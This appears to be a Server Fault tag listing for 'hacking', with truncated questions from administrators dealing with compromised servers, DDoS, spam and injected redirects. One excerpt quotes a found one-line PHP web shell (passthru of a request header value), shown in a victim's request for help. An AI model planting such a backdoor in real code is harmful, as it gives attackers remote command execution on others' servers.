Hacking is the violation of server or network security via exploitation of weaknesses in that security.

learn more… | top users | synonyms (1)

1
vote
2answers
324 views

How to prevent bombardment of hack attempts on VPS

Ever since I bought a VPS, I have been receiving emails like those shown below since day one, every single day. I was wondering if is this really normal? Is there anyway I can prevent it, or is ...
0
votes
1answer
390 views

Hidden Spam Meta Descriptions

I have found out that a client's site (WordPress CMS) was somehow infected with spam / hacked and did some serious cleaning, updating and upgrading and cleaning cache. I used various tools and search ...
0
votes
2answers
125 views

Kindly help me on how to handle the hacker

I have a website. Somebody is sending thousands of 404 hits to my site. He uses random IPs. he is keep on sending at least 1000+ hits everyday to various urls which doesn't exists in my site. I have ...
-1
votes
1answer
409 views

How do I figure out how the “Pharma Hack” hackers are gaining access to my site?

One of my sites has been the continuous target of the "Pharma Hack" - but it's using Drupal instead of Wordpress or Joomla. It is version 6, but it's updated to the latest version, and so are all of ...
0
votes
2answers
1k views

VPS under DDoS Attacks [duplicate]

Possible Duplicate: Am I getting DDoSed, and what should I about it? I'm using a 2 VPS Servers. My domains was unvailable for some time. 1 hour, Somtimes 30 Minutes, and pages loading was ...
0
votes
1answer
749 views

Please help me decode this Wordpress hack? [closed]

Annotated code is here: http://pastebay.com/145971 Looks like a very similar situation to this post I'm no good with python so I thought I might ask for help here. The hack seems to include an ...
0
votes
2answers
3k views

Postfix still trying to send spam despite closing open relay

I have a small server at home, which has postfix installed. It's only use is to return the results of cronjobs and email out externally for a few other scripts. I use my ISP's mail server as a relay ...
0
votes
1answer
268 views

linux centos 5.6 someone installed irc

I need some help, my server provider contacted me to tell me my server was using 200mbit/s bandwidth. Upon investigation I found processes for a user that should not be there.. I found processes as ...
1
vote
2answers
595 views

Expression Engine Site hacked - Locate redirect [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY I have an Expression Engine website I try to clean up. The database has been given many new users so it seems the database has been ...
0
votes
2answers
2k views

Apache/PHP root exploit

Because of insecure handling of uploaded files, an attacker was able to run php code on my server (CentOS 5.4) That issue has been fixed, but while he was connected he appears to have modified a file ...
4
votes
0answers
145 views

Server hacked - want to run an rsync backup in reverse. Will this work? [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY My user account on a shared hosting server got hacked and overwrote every PHP with this at the bottom.... ...
-2
votes
2answers
645 views

apache-memory-hacker-linux

We have a linux server with 4Gb of memory. When we start the system it uses only 435Mb. When we start the apache httpd services it take 1000Mb and subsequently automatically it takes all the memory ...
0
votes
2answers
376 views

Possible hack attack in Ubuntu Server?

I am having a Ubuntu 10.04 Server with Shorewall 4.4.6. For some days, i have been seeing that the logs shorewall.log, kernel.log and syslog getting to huge sizes above 20G per log. It occupied all ...
2
votes
3answers
128 views

Securing a LAMP host from physical data extraction

This is more of a theoretical question and request for advice and pointers than a question about specific software. I have a distro-agnostic Linux machine (meaning I don't really care what to put in ...
-4
votes
1answer
469 views

Have I been compromised? [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY Looking thru my logs, I found this: http://paste.u4ik.us/2294$ (The log files are on that paste). Question is, this guy began ...
-2
votes
1answer
85 views

Good tutorial for security on a server [closed]

I previously have had trouble with hackers hacking into servers I was using for web hosting. Does anyone know any good tutorials to prevent it, or perhaps give me some tips on how to increase ...
1
vote
1answer
266 views

Allow nmap advanced scans for a normal user

I want to allow a normal user to run NMAP's advanced scans like XMAS, TCP FIN, TCP NULL scans. Can somebody please tell me how to do that ?? Since it uses raw packets so whether setting the setuid bit ...
-1
votes
2answers
365 views

how to find who is perform malicious activity in shared hosting server

I am a shared webhosting provider, I got a complain: * COMPLAINT * | *.*(server shared ip) | 2011-09-17 20:02:12 | jakarta.dreamhost.com | 1807770 | oscommerce remote upload from ...
0
votes
4answers
184 views

Can MySQL “Query” be exploited (while processing to Server)?

(Not like/about MySQL Injection) I wanna just be confirmed that someone told me a query can be changed (or) modified (by someone intruder/hacker, from middle) while we submitting it. Is it possible? ...
7
votes
2answers
659 views

Dissecting a website attack through a compromised FTP account

My site has been hacked and at this point, I know some details, but I'm at a loss at exactly how it happened or how to prevent it in the future. I need your help in trying to dissect the attack so ...
2
votes
1answer
517 views

Tools to block hack attempts in Apache

Currently I'm using Blockhosts & mod_evasive to "manage" minor attacks & spurious requests, I'm wondering if there is something better/more effective out there. Something that behaves like ...
3
votes
4answers
143 views

Dealing with low level attackers?

I have a small games site with 400 members (~50 active) built around a MySQL database. I'm the sole developer, and I'm an amateur, so I make my fair share of mistakes. To help protect myself, the ...
3
votes
1answer
278 views

Hacking attempt - my server has recently had a hacking attempt. I have the ip address of the attacker

Can I report them to the police ? I am in the UK - is there any type of authority that investigates such matters ?
0
votes
1answer
272 views

mod_proxy security issues

A friend is asking me about mod_proxy modules , They have a server that was recently attacked using mod_proxy and after checking his logs he said he wasn't vulnerable to those attacks since they have ...
5
votes
3answers
896 views

Hacked? How does appending a filename allow access to data on site… see example

Visiting all of the following sends you to the login screen: http://mysite.com/admin/configuration.php http://mysite.com/admin/login.php However if you visit (note the last two portions of the url ...
4
votes
4answers
6k views

.htaccess file hacked, how to prevent this in future? [closed]

The hacker added a code in .htaccess file to redirect all search engine traffic to a malware website. I am now investigating this incident and trying to find out security loop holes. My situation is ...
3
votes
6answers
3k views

I think my server is being hacked. What should I do? [duplicate]

I'm not a server admin and I have very little experience in "debuging" a server. But from looking at my log files, it looks as if I'm being hacked. But I have no clue to what I should do :-/ I was ...
1
vote
1answer
218 views

PHP Backdoor code [closed]

I've found a php backdoor on my host. <? passthru(getenv(HTTP_ACCEPT_TROLOLO)); ?> I see requests in access log to that php file were POST requests, but I don't know how the SETENV of that ...
1
vote
2answers
425 views

How to ban potential hacker IP Addresses from Port 80?

I am hosting a bunch of PHP web sites on a web server. While I have taken all precautionary mesaures to protect all ports, Port 80 specific attacks continue. I want to ban any IP Address that taken an ...
4
votes
2answers
708 views

Mac Server Access.log concerns, possibly hacked? (newb sorry)

this is what my web access.log looks like (well a short snippet) 46.4.33.46 - - [20/Jul/2011:11:56:18 +0100] "GET http://allegro.pl/matematyka-wokol-nas-6-zeszyt-cwiczen-czesc-1-2-i1727657348.html ...
1
vote
2answers
74 views

how to prevent attacker search for file in my server

I have many errors in log file like: [Tue Jul 19 09:56:45 2011] [error] [client 61.160.222.90] File does not exist: /var/www/vhosts/xxx.com/httpdocs/xqxsmirserver6.rar [Tue Jul 19 09:56:45 2011] ...
7
votes
2answers
2k views

Bypassing htaccess restrictions?

I found this in my apache access logs access.log:555.555.555.555 - - [05/May/2011:12:12:21 -0400] "GET /somedir/ HTTP/1.1" 403 291 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 ...
1
vote
1answer
771 views

Examining PHP hack script [closed]

I found a number of PHP scripts on a friends webserver which had been loaded by hackers. The actual code was hidden using several layers of encryption as follows. They had a huge string assigned to a ...
0
votes
2answers
243 views

I have being hacked through a virtual server [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY My site has been hacked and all sites on the virtual server have also been hacked. I need to know how they got in. The code they ...
3
votes
1answer
327 views

How did a phisher upload to my server?

My webhost notified me they got a complaint from bank of america that one of my accounts under my reseller (WHM) account was compromised by a phisher. Once the host unsuspended my account I tried to ...
3
votes
3answers
412 views

Anti-DDoS Question [duplicate]

Our company´s main owner (telecon group) wants us to deploy anti-DDoS mechanisms, such as Arbor Pravail, which is a great idea. Although... I have a question... If our main ISP Backbone provider have ...
6
votes
9answers
1k views

Is it worth hiring a hacker to perform some penetration testing on my servers? [closed]

I'm working in a small IT company with paranoid clients, so security has always been an important consideration to us. In the past, we've already mandated penetration testing from two independent ...
4
votes
5answers
3k views

has my server been hacked w00tw00t.at.ISC.SANS.DFind

I'm quite sure my server's been hacked. I'm seeing these entries in my access log as the last two before a series of 500 error messages, It's related to the DB but I haven't found out the exact error ...
1
vote
2answers
641 views

How secure are files hosted on IIS Anonymously with Directory Browsing Disabled?

To elaborate a bit on this point, I'd like to know how secure are documents hosted on an IIS website with the following configuration: IIS Directory Listing Disabled Anonymous Access is Enabled Site ...
0
votes
4answers
74 views

Requesting different websites with IP and headers

Is it possible to lure a website from the web server without relying on DNS records? Windows IIS WebServer was working with headers, Linux is working with virtual server names etc. Imagine this ...
4
votes
2answers
233 views

Security Flaw - Report it?

This may be a community wiki, I'm not sure. Imagine a scenario where you discover a security flaw in a company's website while browsing the web. Something involving a change to URL parameters that ...
0
votes
2answers
201 views

Did My Server Get Attacked?

I logged into my server today and saw the following unrecognized code at the top of my directory browse window: document.writeln("");var el = ...
-1
votes
3answers
361 views

To what extent can you secure a system? [closed]

To what extent can you filter/firewall for suspicious traffic or lock down a system? If you have everything up to date and secure, what can you do to protect against a 0 day? I assume an IDS might ...
4
votes
2answers
240 views

What can I do with an IP address of a visitor that tried to access a shell exploit that was planted on my system?

My website was exploited (don't worry about how) and the result was there were several WebShells installed in various locations. The exact web shell is just like the one listed in this question here ...
6
votes
3answers
396 views

Somebody eating all our bandwidth, what should I do?

OK, this is frustrating, my site got thousands of page views/connections in the last 3 days and finally we ran out of monthly bandwidth. We bought more bandwidth and closed the site for maintenance. ...
2
votes
4answers
2k views

front page keeps getting hacked

A similar attack keeps happenning on two of my sites (one is running latest Joomla, one is not). It usually says "hacked by general" or something similar. When I check the files on one of them, ...
-3
votes
2answers
369 views

Is running this SED command safe? [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY Hello, my whole site got hacked possibly by a wordpress exploit, i am in a hurry to explain in detail, but PLEASE do me a favor and ...
1
vote
1answer
167 views

Removing redirection to antivirus in a hacked web page [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY After some sort of hacking, the main URL of my website now redirects to a fake antivirus page. How can I remove this thing?
2
votes
5answers
2k views

Finding out who hacked my site [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY All Joomla! sites hosted on a single server of mine were hacked and had the following code injected into the index.php files ...
1
vote
3answers
229 views

What can be causing the following hack?

Server information: Windows XP Service Pack 2 Microsoft-IIS/6.0 Generally speaking the server is out of my countrol (for the time being.) I can request patches that are missing but ...